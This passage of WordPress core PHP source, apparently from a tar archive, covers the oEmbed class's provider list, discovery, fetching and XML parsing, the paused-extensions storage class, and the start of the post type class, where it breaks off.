$providers = array( '#https?://((m|www)\.)?youtube\.com/watch.*#i' => array( 'https://www.youtube.com/oembed', true ), '#https?://((m|www)\.)?youtube\.com/playlist.*#i' => array( 'https://www.youtube.com/oembed', true ), '#https?://youtu\.be/.*#i' => array( 'https://www.youtube.com/oembed', true ), '#https?://(.+\.)?vimeo\.com/.*#i' => array( 'https://vimeo.com/api/oembed.{format}', true ), '#https?://(www\.)?dailymotion\.com/.*#i' => array( 'https://www.dailymotion.com/services/oembed', true ), '#https?://dai\.ly/.*#i' => array( 'https://www.dailymotion.com/services/oembed', true ), '#https?://(www\.)?flickr\.com/.*#i' => array( 'https://www.flickr.com/services/oembed/', true ), '#https?://flic\.kr/.*#i' => array( 'https://www.flickr.com/services/oembed/', true ), '#https?://(.+\.)?smugmug\.com/.*#i' => array( 'https://api.smugmug.com/services/oembed/', true ), '#https?://(www\.)?scribd\.com/(doc|document)/.*#i' => array( 'https://www.scribd.com/services/oembed', true ), '#https?://wordpress\.tv/.*#i' => array( 'https://wordpress.tv/oembed/', true ), '#https?://(.+\.)?polldaddy\.com/.*#i' => array( 'https://api.crowdsignal.com/oembed', true ), '#https?://poll\.fm/.*#i' => array( 'https://api.crowdsignal.com/oembed', true ), '#https?://(.+\.)?survey\.fm/.*#i' => array( 'https://api.crowdsignal.com/oembed', true ), '#https?://(www\.)?twitter\.com/\w{1,15}/status(es)?/.*#i' => array( 'https://publish.twitter.com/oembed', true ), '#https?://(www\.)?twitter\.com/\w{1,15}$#i' => array( 'https://publish.twitter.com/oembed', true ), '#https?://(www\.)?twitter\.com/\w{1,15}/likes$#i' => array( 'https://publish.twitter.com/oembed', true ), '#https?://(www\.)?twitter\.com/\w{1,15}/lists/.*#i' => array( 'https://publish.twitter.com/oembed', true ), '#https?://(www\.)?twitter\.com/\w{1,15}/timelines/.*#i' => array( 'https://publish.twitter.com/oembed', true ), '#https?://(www\.)?twitter\.com/i/moments/.*#i' => array( 'https://publish.twitter.com/oembed', true ), '#https?://(www\.)?soundcloud\.com/.*#i' => array( 'https://soundcloud.com/oembed', true ), '#https?://(.+?\.)?slideshare\.net/.*#i' => array( 'https://www.slideshare.net/api/oembed/2', true ), '#https?://(open|play)\.spotify\.com/.*#i' => array( 'https://embed.spotify.com/oembed/', true ), '#https?://(.+\.)?imgur\.com/.*#i' => array( 'https://api.imgur.com/oembed', true ), '#https?://(www\.)?meetu(\.ps|p\.com)/.*#i' => array( 'https://api.meetup.com/oembed', true ), '#https?://(www\.)?issuu\.com/.+/docs/.+#i' => array( 'https://issuu.com/oembed_wp', true ), '#https?://(www\.)?mixcloud\.com/.*#i' => array( 'https://www.mixcloud.com/oembed', true ), '#https?://(www\.|embed\.)?ted\.com/talks/.*#i' => array( 'https://www.ted.com/services/v1/oembed.{format}', true ), '#https?://(www\.)?(animoto|video214)\.com/play/.*#i' => array( 'https://animoto.com/oembeds/create', true ), '#https?://(.+)\.tumblr\.com/post/.*#i' => array( 'https://www.tumblr.com/oembed/1.0', true ), '#https?://(www\.)?kickstarter\.com/projects/.*#i' => array( 'https://www.kickstarter.com/services/oembed', true ), '#https?://kck\.st/.*#i' => array( 'https://www.kickstarter.com/services/oembed', true ), '#https?://cloudup\.com/.*#i' => array( 'https://cloudup.com/oembed', true ), '#https?://(www\.)?reverbnation\.com/.*#i' => array( 'https://www.reverbnation.com/oembed', true ), '#https?://videopress\.com/v/.*#' => array( 'https://public-api.wordpress.com/oembed/?for=' . $host, true ), '#https?://(www\.)?reddit\.com/r/[^/]+/comments/.*#i' => array( 'https://www.reddit.com/oembed', true ), '#https?://(www\.)?speakerdeck\.com/.*#i' => array( 'https://speakerdeck.com/oembed.{format}', true ), '#https?://(www\.)?screencast\.com/.*#i' => array( 'https://api.screencast.com/external/oembed', true ), '#https?://([a-z0-9-]+\.)?amazon\.(com|com\.mx|com\.br|ca)/.*#i' => array( 'https://read.amazon.com/kp/api/oembed', true ), '#https?://([a-z0-9-]+\.)?amazon\.(co\.uk|de|fr|it|es|in|nl|ru)/.*#i' => array( 'https://read.amazon.co.uk/kp/api/oembed', true ), '#https?://([a-z0-9-]+\.)?amazon\.(co\.jp|com\.au)/.*#i' => array( 'https://read.amazon.com.au/kp/api/oembed', true ), '#https?://([a-z0-9-]+\.)?amazon\.cn/.*#i' => array( 'https://read.amazon.cn/kp/api/oembed', true ), '#https?://(www\.)?a\.co/.*#i' => array( 'https://read.amazon.com/kp/api/oembed', true ), '#https?://(www\.)?amzn\.to/.*#i' => array( 'https://read.amazon.com/kp/api/oembed', true ), '#https?://(www\.)?amzn\.eu/.*#i' => array( 'https://read.amazon.co.uk/kp/api/oembed', true ), '#https?://(www\.)?amzn\.in/.*#i' => array( 'https://read.amazon.in/kp/api/oembed', true ), '#https?://(www\.)?amzn\.asia/.*#i' => array( 'https://read.amazon.com.au/kp/api/oembed', true ), '#https?://(www\.)?z\.cn/.*#i' => array( 'https://read.amazon.cn/kp/api/oembed', true ), '#https?://www\.someecards\.com/.+-cards/.+#i' => array( 'https://www.someecards.com/v2/oembed/', true ), '#https?://www\.someecards\.com/usercards/viewcard/.+#i' => array( 'https://www.someecards.com/v2/oembed/', true ), '#https?://some\.ly\/.+#i' => array( 'https://www.someecards.com/v2/oembed/', true ), '#https?://(www\.)?tiktok\.com/.*/video/.*#i' => array( 'https://www.tiktok.com/oembed', true ), ); if ( ! empty( self::$early_providers['add'] ) ) { foreach ( self::$early_providers['add'] as $format => $data ) { $providers[ $format ] = $data; } } if ( ! empty( self::$early_providers['remove'] ) ) { foreach ( self::$early_providers['remove'] as $format ) { unset( $providers[ $format ] ); } } self::$early_providers = array(); /** * Filters the list of sanctioned oEmbed providers. * * Since WordPress 4.4, oEmbed discovery is enabled for all users and allows embedding of sanitized * iframes. The providers in this list are sanctioned, meaning they are trusted and allowed to * embed any content, such as iframes, videos, JavaScript, and arbitrary HTML. * * Supported providers: * * | Provider | Flavor | Since | * | ------------ | ----------------------------------------- | ------- | * | Dailymotion | dailymotion.com | 2.9.0 | * | Flickr | flickr.com | 2.9.0 | * | Scribd | scribd.com | 2.9.0 | * | Vimeo | vimeo.com | 2.9.0 | * | WordPress.tv | wordpress.tv | 2.9.0 | * | YouTube | youtube.com/watch | 2.9.0 | * | Crowdsignal | polldaddy.com | 3.0.0 | * | SmugMug | smugmug.com | 3.0.0 | * | YouTube | youtu.be | 3.0.0 | * | Twitter | twitter.com | 3.4.0 | * | Slideshare | slideshare.net | 3.5.0 | * | SoundCloud | soundcloud.com | 3.5.0 | * | Dailymotion | dai.ly | 3.6.0 | * | Flickr | flic.kr | 3.6.0 | * | Spotify | spotify.com | 3.6.0 | * | Imgur | imgur.com | 3.9.0 | * | Meetup.com | meetup.com | 3.9.0 | * | Meetup.com | meetu.ps | 3.9.0 | * | Animoto | animoto.com | 4.0.0 | * | Animoto | video214.com | 4.0.0 | * | Issuu | issuu.com | 4.0.0 | * | Mixcloud | mixcloud.com | 4.0.0 | * | Crowdsignal | poll.fm | 4.0.0 | * | TED | ted.com | 4.0.0 | * | YouTube | youtube.com/playlist | 4.0.0 | * | Tumblr | tumblr.com | 4.2.0 | * | Kickstarter | kickstarter.com | 4.2.0 | * | Kickstarter | kck.st | 4.2.0 | * | Cloudup | cloudup.com | 4.3.0 | * | ReverbNation | reverbnation.com | 4.4.0 | * | VideoPress | videopress.com | 4.4.0 | * | Reddit | reddit.com | 4.4.0 | * | Speaker Deck | speakerdeck.com | 4.4.0 | * | Twitter | twitter.com/timelines | 4.5.0 | * | Twitter | twitter.com/moments | 4.5.0 | * | Twitter | twitter.com/user | 4.7.0 | * | Twitter | twitter.com/likes | 4.7.0 | * | Twitter | twitter.com/lists | 4.7.0 | * | Screencast | screencast.com | 4.8.0 | * | Amazon | amazon.com (com.mx, com.br, ca) | 4.9.0 | * | Amazon | amazon.de (fr, it, es, in, nl, ru, co.uk) | 4.9.0 | * | Amazon | amazon.co.jp (com.au) | 4.9.0 | * | Amazon | amazon.cn | 4.9.0 | * | Amazon | a.co | 4.9.0 | * | Amazon | amzn.to (eu, in, asia) | 4.9.0 | * | Amazon | z.cn | 4.9.0 | * | Someecards | someecards.com | 4.9.0 | * | Someecards | some.ly | 4.9.0 | * | Crowdsignal | survey.fm | 5.1.0 | * | TikTok | tiktok.com | 5.4.0 | * * No longer supported providers: * * | Provider | Flavor | Since | Removed | * | ------------ | -------------------- | --------- | --------- | * | Qik | qik.com | 2.9.0 | 3.9.0 | * | Viddler | viddler.com | 2.9.0 | 4.0.0 | * | Revision3 | revision3.com | 2.9.0 | 4.2.0 | * | Blip | blip.tv | 2.9.0 | 4.4.0 | * | Rdio | rdio.com | 3.6.0 | 4.4.1 | * | Rdio | rd.io | 3.6.0 | 4.4.1 | * | Vine | vine.co | 4.1.0 | 4.9.0 | * | Photobucket | photobucket.com | 2.9.0 | 5.1.0 | * | Funny or Die | funnyordie.com | 3.0.0 | 5.1.0 | * | CollegeHumor | collegehumor.com | 4.0.0 | 5.3.1 | * | Hulu | hulu.com | 2.9.0 | 5.5.0 | * | Instagram | instagram.com | 3.5.0 | 5.5.2 | * | Instagram | instagr.am | 3.5.0 | 5.5.2 | * | Instagram TV | instagram.com | 5.1.0 | 5.5.2 | * | Instagram TV | instagr.am | 5.1.0 | 5.5.2 | * | Facebook | facebook.com | 4.7.0 | 5.5.2 | * * @see wp_oembed_add_provider() * * @since 2.9.0 * * @param array[] $providers An array of arrays containing data about popular oEmbed providers. */ $this->providers = apply_filters( 'oembed_providers', $providers ); // Fix any embeds that contain new lines in the middle of the HTML which breaks wpautop(). add_filter( 'oembed_dataparse', array( $this, '_strip_newlines' ), 10, 3 ); } /** * Exposes private/protected methods for backward compatibility. * * @since 4.0.0 * * @param string $name Method to call. * @param array $arguments Arguments to pass when calling. * @return mixed|false Return value of the callback, false otherwise. */ public function __call( $name, $arguments ) { if ( in_array( $name, $this->compat_methods, true ) ) { return $this->$name( ...$arguments ); } return false; } /** * Takes a URL and returns the corresponding oEmbed provider's URL, if there is one. * * @since 4.0.0 * * @see WP_oEmbed::discover() * * @param string $url The URL to the content. * @param string|array $args { * Optional. Additional provider arguments. Default empty. * * @type bool $discover Optional. Determines whether to attempt to discover link tags * at the given URL for an oEmbed provider when the provider URL * is not found in the built-in providers list. Default true. * } * @return string|false The oEmbed provider URL on success, false on failure. */ public function get_provider( $url, $args = '' ) { $args = wp_parse_args( $args ); $provider = false; if ( ! isset( $args['discover'] ) ) { $args['discover'] = true; } foreach ( $this->providers as $matchmask => $data ) { list( $providerurl, $regex ) = $data; // Turn the asterisk-type provider URLs into regex. if ( ! $regex ) { $matchmask = '#' . str_replace( '___wildcard___', '(.+)', preg_quote( str_replace( '*', '___wildcard___', $matchmask ), '#' ) ) . '#i'; $matchmask = preg_replace( '|^#http\\\://|', '#https?\://', $matchmask ); } if ( preg_match( $matchmask, $url ) ) { $provider = str_replace( '{format}', 'json', $providerurl ); // JSON is easier to deal with than XML. break; } } if ( ! $provider && $args['discover'] ) { $provider = $this->discover( $url ); } return $provider; } /** * Adds an oEmbed provider. * * The provider is added just-in-time when wp_oembed_add_provider() is called before * the {@see 'plugins_loaded'} hook. * * The just-in-time addition is for the benefit of the {@see 'oembed_providers'} filter. * * @since 4.0.0 * * @see wp_oembed_add_provider() * * @param string $format Format of URL that this provider can handle. You can use * asterisks as wildcards. * @param string $provider The URL to the oEmbed provider.. * @param bool $regex Optional. Whether the $format parameter is in a regex format. * Default false. */ public static function _add_provider_early( $format, $provider, $regex = false ) { if ( empty( self::$early_providers['add'] ) ) { self::$early_providers['add'] = array(); } self::$early_providers['add'][ $format ] = array( $provider, $regex ); } /** * Removes an oEmbed provider. * * The provider is removed just-in-time when wp_oembed_remove_provider() is called before * the {@see 'plugins_loaded'} hook. * * The just-in-time removal is for the benefit of the {@see 'oembed_providers'} filter. * * @since 4.0.0 * * @see wp_oembed_remove_provider() * * @param string $format The format of URL that this provider can handle. You can use * asterisks as wildcards. */ public static function _remove_provider_early( $format ) { if ( empty( self::$early_providers['remove'] ) ) { self::$early_providers['remove'] = array(); } self::$early_providers['remove'][] = $format; } /** * Takes a URL and attempts to return the oEmbed data. * * @see WP_oEmbed::fetch() * * @since 4.8.0 * * @param string $url The URL to the content that should be attempted to be embedded. * @param string|array $args Optional. Additional arguments for retrieving embed HTML. * See wp_oembed_get() for accepted arguments. Default empty. * @return object|false The result in the form of an object on success, false on failure. */ public function get_data( $url, $args = '' ) { $args = wp_parse_args( $args ); $provider = $this->get_provider( $url, $args ); if ( ! $provider ) { return false; } $data = $this->fetch( $provider, $url, $args ); if ( false === $data ) { return false; } return $data; } /** * The do-it-all function that takes a URL and attempts to return the HTML. * * @see WP_oEmbed::fetch() * @see WP_oEmbed::data2html() * * @since 2.9.0 * * @param string $url The URL to the content that should be attempted to be embedded. * @param string|array $args Optional. Additional arguments for retrieving embed HTML. * See wp_oembed_get() for accepted arguments. Default empty. * @return string|false The UNSANITIZED (and potentially unsafe) HTML that should be used to embed * on success, false on failure. */ public function get_html( $url, $args = '' ) { /** * Filters the oEmbed result before any HTTP requests are made. * * This allows one to short-circuit the default logic, perhaps by * replacing it with a routine that is more optimal for your setup. * * Returning a non-null value from the filter will effectively short-circuit retrieval * and return the passed value instead. * * @since 4.5.3 * * @param null|string $result The UNSANITIZED (and potentially unsafe) HTML that should be used to embed. * Default null to continue retrieving the result. * @param string $url The URL to the content that should be attempted to be embedded. * @param string|array $args Optional. Additional arguments for retrieving embed HTML. * See wp_oembed_get() for accepted arguments. Default empty. */ $pre = apply_filters( 'pre_oembed_result', null, $url, $args ); if ( null !== $pre ) { return $pre; } $data = $this->get_data( $url, $args ); if ( false === $data ) { return false; } /** * Filters the HTML returned by the oEmbed provider. * * @since 2.9.0 * * @param string|false $data The returned oEmbed HTML (false if unsafe). * @param string $url URL of the content to be embedded. * @param string|array $args Optional. Additional arguments for retrieving embed HTML. * See wp_oembed_get() for accepted arguments. Default empty. */ return apply_filters( 'oembed_result', $this->data2html( $data, $url ), $url, $args ); } /** * Attempts to discover link tags at the given URL for an oEmbed provider. * * @since 2.9.0 * * @param string $url The URL that should be inspected for discovery `<link>` tags. * @return string|false The oEmbed provider URL on success, false on failure. */ public function discover( $url ) { $providers = array(); $args = array( 'limit_response_size' => 153600, // 150 KB ); /** * Filters oEmbed remote get arguments. * * @since 4.0.0 * * @see WP_Http::request() * * @param array $args oEmbed remote get arguments. * @param string $url URL to be inspected. */ $args = apply_filters( 'oembed_remote_get_args', $args, $url ); // Fetch URL content. $request = wp_safe_remote_get( $url, $args ); $html = wp_remote_retrieve_body( $request ); if ( $html ) { /** * Filters the link types that contain oEmbed provider URLs. * * @since 2.9.0 * * @param string[] $format Array of oEmbed link types. Accepts 'application/json+oembed', * 'text/xml+oembed', and 'application/xml+oembed' (incorrect, * used by at least Vimeo). */ $linktypes = apply_filters( 'oembed_linktypes', array( 'application/json+oembed' => 'json', 'text/xml+oembed' => 'xml', 'application/xml+oembed' => 'xml', ) ); // Strip <body>. $html_head_end = stripos( $html, '</head>' ); if ( $html_head_end ) { $html = substr( $html, 0, $html_head_end ); } // Do a quick check. $tagfound = false; foreach ( $linktypes as $linktype => $format ) { if ( stripos( $html, $linktype ) ) { $tagfound = true; break; } } if ( $tagfound && preg_match_all( '#<link([^<>]+)/?>#iU', $html, $links ) ) { foreach ( $links[1] as $link ) { $atts = shortcode_parse_atts( $link ); if ( ! empty( $atts['type'] ) && ! empty( $linktypes[ $atts['type'] ] ) && ! empty( $atts['href'] ) ) { $providers[ $linktypes[ $atts['type'] ] ] = htmlspecialchars_decode( $atts['href'] ); // Stop here if it's JSON (that's all we need). if ( 'json' === $linktypes[ $atts['type'] ] ) { break; } } } } } // JSON is preferred to XML. if ( ! empty( $providers['json'] ) ) { return $providers['json']; } elseif ( ! empty( $providers['xml'] ) ) { return $providers['xml']; } else { return false; } } /** * Connects to a oEmbed provider and returns the result. * * @since 2.9.0 * * @param string $provider The URL to the oEmbed provider. * @param string $url The URL to the content that is desired to be embedded. * @param string|array $args Optional. Additional arguments for retrieving embed HTML. * See wp_oembed_get() for accepted arguments. Default empty. * @return object|false The result in the form of an object on success, false on failure. */ public function fetch( $provider, $url, $args = '' ) { $args = wp_parse_args( $args, wp_embed_defaults( $url ) ); $provider = add_query_arg( 'maxwidth', (int) $args['width'], $provider ); $provider = add_query_arg( 'maxheight', (int) $args['height'], $provider ); $provider = add_query_arg( 'url', urlencode( $url ), $provider ); $provider = add_query_arg( 'dnt', 1, $provider ); /** * Filters the oEmbed URL to be fetched. * * @since 2.9.0 * @since 4.9.0 The `dnt` (Do Not Track) query parameter was added to all oEmbed provider URLs. * * @param string $provider URL of the oEmbed provider. * @param string $url URL of the content to be embedded. * @param array $args Optional. Additional arguments for retrieving embed HTML. * See wp_oembed_get() for accepted arguments. Default empty. */ $provider = apply_filters( 'oembed_fetch_url', $provider, $url, $args ); foreach ( array( 'json', 'xml' ) as $format ) { $result = $this->_fetch_with_format( $provider, $format ); if ( is_wp_error( $result ) && 'not-implemented' === $result->get_error_code() ) { continue; } return ( $result && ! is_wp_error( $result ) ) ? $result : false; } return false; } /** * Fetches result from an oEmbed provider for a specific format and complete provider URL * * @since 3.0.0 * * @param string $provider_url_with_args URL to the provider with full arguments list (url, maxheight, etc.) * @param string $format Format to use. * @return object|false|WP_Error The result in the form of an object on success, false on failure. */ private function _fetch_with_format( $provider_url_with_args, $format ) { $provider_url_with_args = add_query_arg( 'format', $format, $provider_url_with_args ); /** This filter is documented in wp-includes/class-wp-oembed.php */ $args = apply_filters( 'oembed_remote_get_args', array(), $provider_url_with_args ); $response = wp_safe_remote_get( $provider_url_with_args, $args ); if ( 501 == wp_remote_retrieve_response_code( $response ) ) { return new WP_Error( 'not-implemented' ); } $body = wp_remote_retrieve_body( $response ); if ( ! $body ) { return false; } $parse_method = "_parse_$format"; return $this->$parse_method( $body ); } /** * Parses a json response body. * * @since 3.0.0 * * @param string $response_body * @return object|false */ private function _parse_json( $response_body ) { $data = json_decode( trim( $response_body ) ); return ( $data && is_object( $data ) ) ? $data : false; } /** * Parses an XML response body. * * @since 3.0.0 * * @param string $response_body * @return object|false */ private function _parse_xml( $response_body ) { if ( ! function_exists( 'libxml_disable_entity_loader' ) ) { return false; } if ( PHP_VERSION_ID < 80000 ) { // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading // is disabled by default, so this function is no longer needed to protect against XXE attacks. // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.libxml_disable_entity_loaderDeprecated $loader = libxml_disable_entity_loader( true ); } $errors = libxml_use_internal_errors( true ); $return = $this->_parse_xml_body( $response_body ); libxml_use_internal_errors( $errors ); if ( PHP_VERSION_ID < 80000 && isset( $loader ) ) { // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.libxml_disable_entity_loaderDeprecated libxml_disable_entity_loader( $loader ); } return $return; } /** * Serves as a helper function for parsing an XML response body. * * @since 3.6.0 * * @param string $response_body * @return stdClass|false */ private function _parse_xml_body( $response_body ) { if ( ! function_exists( 'simplexml_import_dom' ) || ! class_exists( 'DOMDocument', false ) ) { return false; } $dom = new DOMDocument; $success = $dom->loadXML( $response_body ); if ( ! $success ) { return false; } if ( isset( $dom->doctype ) ) { return false; } foreach ( $dom->childNodes as $child ) { if ( XML_DOCUMENT_TYPE_NODE === $child->nodeType ) { return false; } } $xml = simplexml_import_dom( $dom ); if ( ! $xml ) { return false; } $return = new stdClass; foreach ( $xml as $key => $value ) { $return->$key = (string) $value; } return $return; } /** * Converts a data object from WP_oEmbed::fetch() and returns the HTML. * * @since 2.9.0 * * @param object $data A data object result from an oEmbed provider. * @param string $url The URL to the content that is desired to be embedded. * @return string|false The HTML needed to embed on success, false on failure. */ public function data2html( $data, $url ) { if ( ! is_object( $data ) || empty( $data->type ) ) { return false; } $return = false; switch ( $data->type ) { case 'photo': if ( empty( $data->url ) || empty( $data->width ) || empty( $data->height ) ) { break; } if ( ! is_string( $data->url ) || ! is_numeric( $data->width ) || ! is_numeric( $data->height ) ) { break; } $title = ! empty( $data->title ) && is_string( $data->title ) ? $data->title : ''; $return = '<a href="' . esc_url( $url ) . '"><img src="' . esc_url( $data->url ) . '" alt="' . esc_attr( $title ) . '" width="' . esc_attr( $data->width ) . '" height="' . esc_attr( $data->height ) . '" /></a>'; break; case 'video': case 'rich': if ( ! empty( $data->html ) && is_string( $data->html ) ) { $return = $data->html; } break; case 'link': if ( ! empty( $data->title ) && is_string( $data->title ) ) { $return = '<a href="' . esc_url( $url ) . '">' . esc_html( $data->title ) . '</a>'; } break; default: $return = false; } /** * Filters the returned oEmbed HTML. * * Use this filter to add support for custom data types, or to filter the result. * * @since 2.9.0 * * @param string $return The returned oEmbed HTML. * @param object $data A data object result from an oEmbed provider. * @param string $url The URL of the content to be embedded. */ return apply_filters( 'oembed_dataparse', $return, $data, $url ); } /** * Strips any new lines from the HTML. * * @since 2.9.0 as strip_scribd_newlines() * @since 3.0.0 * * @param string $html Existing HTML. * @param object $data Data object from WP_oEmbed::data2html() * @param string $url The original URL passed to oEmbed. * @return string Possibly modified $html */ public function _strip_newlines( $html, $data, $url ) { if ( false === strpos( $html, "\n" ) ) { return $html; } $count = 1; $found = array(); $token = '__PRE__'; $search = array( "\t", "\n", "\r", ' ' ); $replace = array( '__TAB__', '__NL__', '__CR__', '__SPACE__' ); $tokenized = str_replace( $search, $replace, $html ); preg_match_all( '#(<pre[^>]*>.+?</pre>)#i', $tokenized, $matches, PREG_SET_ORDER ); foreach ( $matches as $i => $match ) { $tag_html = str_replace( $replace, $search, $match[0] ); $tag_token = $token . $i; $found[ $tag_token ] = $tag_html; $html = str_replace( $tag_html, $tag_token, $html, $count ); } $replaced = str_replace( $replace, $search, $html ); $stripped = str_replace( array( "\r\n", "\n" ), '', $replaced ); $pre = array_values( $found ); $tokens = array_keys( $found ); return str_replace( $tokens, $pre, $stripped ); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-paused-extensions-storage.php��������������������������������������������������������������0000644�����������������00000011473�15120262030�0014121 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Error Protection API: WP_Paused_Extensions_Storage class * * @package WordPress * @since 5.2.0 */ /** * Core class used for storing paused extensions. * * @since 5.2.0 */ class WP_Paused_Extensions_Storage { /** * Type of extension. Used to key extension storage. * * @since 5.2.0 * @var string */ protected $type; /** * Constructor. * * @since 5.2.0 * * @param string $extension_type Extension type. Either 'plugin' or 'theme'. */ public function __construct( $extension_type ) { $this->type = $extension_type; } /** * Records an extension error. * * Only one error is stored per extension, with subsequent errors for the same extension overriding the * previously stored error. * * @since 5.2.0 * * @param string $extension Plugin or theme directory name. * @param array $error { * Error that was triggered. * * @type string $type The error type. * @type string $file The name of the file in which the error occurred. * @type string $line The line number in which the error occurred. * @type string $message The error message. * } * @return bool True on success, false on failure. */ public function set( $extension, $error ) { if ( ! $this->is_api_loaded() ) { return false; } $option_name = $this->get_option_name(); if ( ! $option_name ) { return false; } $paused_extensions = (array) get_option( $option_name, array() ); // Do not update if the error is already stored. if ( isset( $paused_extensions[ $this->type ][ $extension ] ) && $paused_extensions[ $this->type ][ $extension ] === $error ) { return true; } $paused_extensions[ $this->type ][ $extension ] = $error; return update_option( $option_name, $paused_extensions ); } /** * Forgets a previously recorded extension error. * * @since 5.2.0 * * @param string $extension Plugin or theme directory name. * @return bool True on success, false on failure. */ public function delete( $extension ) { if ( ! $this->is_api_loaded() ) { return false; } $option_name = $this->get_option_name(); if ( ! $option_name ) { return false; } $paused_extensions = (array) get_option( $option_name, array() ); // Do not delete if no error is stored. if ( ! isset( $paused_extensions[ $this->type ][ $extension ] ) ) { return true; } unset( $paused_extensions[ $this->type ][ $extension ] ); if ( empty( $paused_extensions[ $this->type ] ) ) { unset( $paused_extensions[ $this->type ] ); } // Clean up the entire option if we're removing the only error. if ( ! $paused_extensions ) { return delete_option( $option_name ); } return update_option( $option_name, $paused_extensions ); } /** * Gets the error for an extension, if paused. * * @since 5.2.0 * * @param string $extension Plugin or theme directory name. * @return array|null Error that is stored, or null if the extension is not paused. */ public function get( $extension ) { if ( ! $this->is_api_loaded() ) { return null; } $paused_extensions = $this->get_all(); if ( ! isset( $paused_extensions[ $extension ] ) ) { return null; } return $paused_extensions[ $extension ]; } /** * Gets the paused extensions with their errors. * * @since 5.2.0 * * @return array Associative array of extension slugs to the error recorded. */ public function get_all() { if ( ! $this->is_api_loaded() ) { return array(); } $option_name = $this->get_option_name(); if ( ! $option_name ) { return array(); } $paused_extensions = (array) get_option( $option_name, array() ); return isset( $paused_extensions[ $this->type ] ) ? $paused_extensions[ $this->type ] : array(); } /** * Remove all paused extensions. * * @since 5.2.0 * * @return bool */ public function delete_all() { if ( ! $this->is_api_loaded() ) { return false; } $option_name = $this->get_option_name(); if ( ! $option_name ) { return false; } $paused_extensions = (array) get_option( $option_name, array() ); unset( $paused_extensions[ $this->type ] ); if ( ! $paused_extensions ) { return delete_option( $option_name ); } return update_option( $option_name, $paused_extensions ); } /** * Checks whether the underlying API to store paused extensions is loaded. * * @since 5.2.0 * * @return bool True if the API is loaded, false otherwise. */ protected function is_api_loaded() { return function_exists( 'get_option' ); } /** * Get the option name for storing paused extensions. * * @since 5.2.0 * * @return string */ protected function get_option_name() { if ( ! wp_recovery_mode()->is_active() ) { return ''; } $session_id = wp_recovery_mode()->get_session_id(); if ( empty( $session_id ) ) { return ''; } return "{$session_id}_paused_extensions"; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-post-type.php������������������������������������������������������������������������������0000644�����������������00000050524�15120262030�0010745 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Post API: WP_Post_Type class * * @package WordPress * @subpackage Post * @since 4.6.0 */ /** * Core class used for interacting with post types. * * @since 4.6.0 * * @see register_post_type() */ final class WP_Post_Type { /** * Post type key. * * @since 4.6.0 * @var string $name */ public $name; /** * Name of the post type shown in the menu. Usually plural. * * @since 4.6.0 * @var string $label */ public $label; /** * Labels object for this post type. * * If not set, post labels are inherited for non-hierarchical types * and page labels for hierarchical ones. * * @see get_post_type_labels() * * @since 4.6.0 * @var stdClass $labels */ public $labels; /** * A short descriptive summary of what the post type is. * * Default empty. * * @since 4.6.0 * @var string $description */ public $description = ''; /** * Whether a post type is intended for use publicly either via the admin interface or by front-end users. * * While the default settings of $exclude_from_search, $publicly_queryable, $show_ui, and $show_in_nav_menus * are inherited from public, each does not rely on this relationship and controls a very specific intention. * * Default false. * * @since 4.6.0 * @var bool $public */ public $public = false; /** * Whether the post type is hierarchical (e.g. page). * * Default false. * * @since 4.6.0 * @var bool $hierarchical */ public $hierarchical = false; /** * Whether to exclude posts with this post type from front end search * results. * * Default is the opposite value of $public. * * @since 4.6.0 * @var bool $exclude_from_search */ public $exclude_from_search = null; /** * Whether queries can be performed on the front end for the post type as part of `parse_request()`. * * Endpoints would include: * - `?post_type={post_type_key}` * - `?{post_type_key}={single_post_slug}` * - `?{post_type_query_var}={single_post_slug}` * * Default is the value of $public. * * @since 4.6.0 * @var bool $publicly_queryable */ public $publicly_queryable = null; /** * Whether to generate and allow a UI for managing this post type in the admin. * * Default is the value of $public. * * @since 4.6.0 * @var bool $show_ui */ public $show_ui = null; /** * Where to show the post type in the admin menu. * * To work, $show_ui must be true. If true, the post type is shown in its own top level menu. If false, no menu is * shown. If a string of an existing top level menu (eg. 'tools.php' or 'edit.php?post_type=page'), the post type * will be placed as a sub-menu of that. * * Default is the value of $show_ui. * * @since 4.6.0 * @var bool|string $show_in_menu */ public $show_in_menu = null; /** * Makes this post type available for selection in navigation menus. * * Default is the value $public. * * @since 4.6.0 * @var bool $show_in_nav_menus */ public $show_in_nav_menus = null; /** * Makes this post type available via the admin bar. * * Default is the value of $show_in_menu. * * @since 4.6.0 * @var bool $show_in_admin_bar */ public $show_in_admin_bar = null; /** * The position in the menu order the post type should appear. * * To work, $show_in_menu must be true. Default null (at the bottom). * * @since 4.6.0 * @var int $menu_position */ public $menu_position = null; /** * The URL or reference to the icon to be used for this menu. * * Pass a base64-encoded SVG using a data URI, which will be colored to match the color scheme. * This should begin with 'data:image/svg+xml;base64,'. Pass the name of a Dashicons helper class * to use a font icon, e.g. 'dashicons-chart-pie'. Pass 'none' to leave div.wp-menu-image empty * so an icon can be added via CSS. * * Defaults to use the posts icon. * * @since 4.6.0 * @var string $menu_icon */ public $menu_icon = null; /** * The string to use to build the read, edit, and delete capabilities. * * May be passed as an array to allow for alternative plurals when using * this argument as a base to construct the capabilities, e.g. * array( 'story', 'stories' ). Default 'post'. * * @since 4.6.0 * @var string $capability_type */ public $capability_type = 'post'; /** * Whether to use the internal default meta capability handling. * * Default false. * * @since 4.6.0 * @var bool $map_meta_cap */ public $map_meta_cap = false; /** * Provide a callback function that sets up the meta boxes for the edit form. * * Do `remove_meta_box()` and `add_meta_box()` calls in the callback. Default null. * * @since 4.6.0 * @var callable $register_meta_box_cb */ public $register_meta_box_cb = null; /** * An array of taxonomy identifiers that will be registered for the post type. * * Taxonomies can be registered later with `register_taxonomy()` or `register_taxonomy_for_object_type()`. * * Default empty array. * * @since 4.6.0 * @var array $taxonomies */ public $taxonomies = array(); /** * Whether there should be post type archives, or if a string, the archive slug to use. * * Will generate the proper rewrite rules if $rewrite is enabled. Default false. * * @since 4.6.0 * @var bool|string $has_archive */ public $has_archive = false; /** * Sets the query_var key for this post type. * * Defaults to $post_type key. If false, a post type cannot be 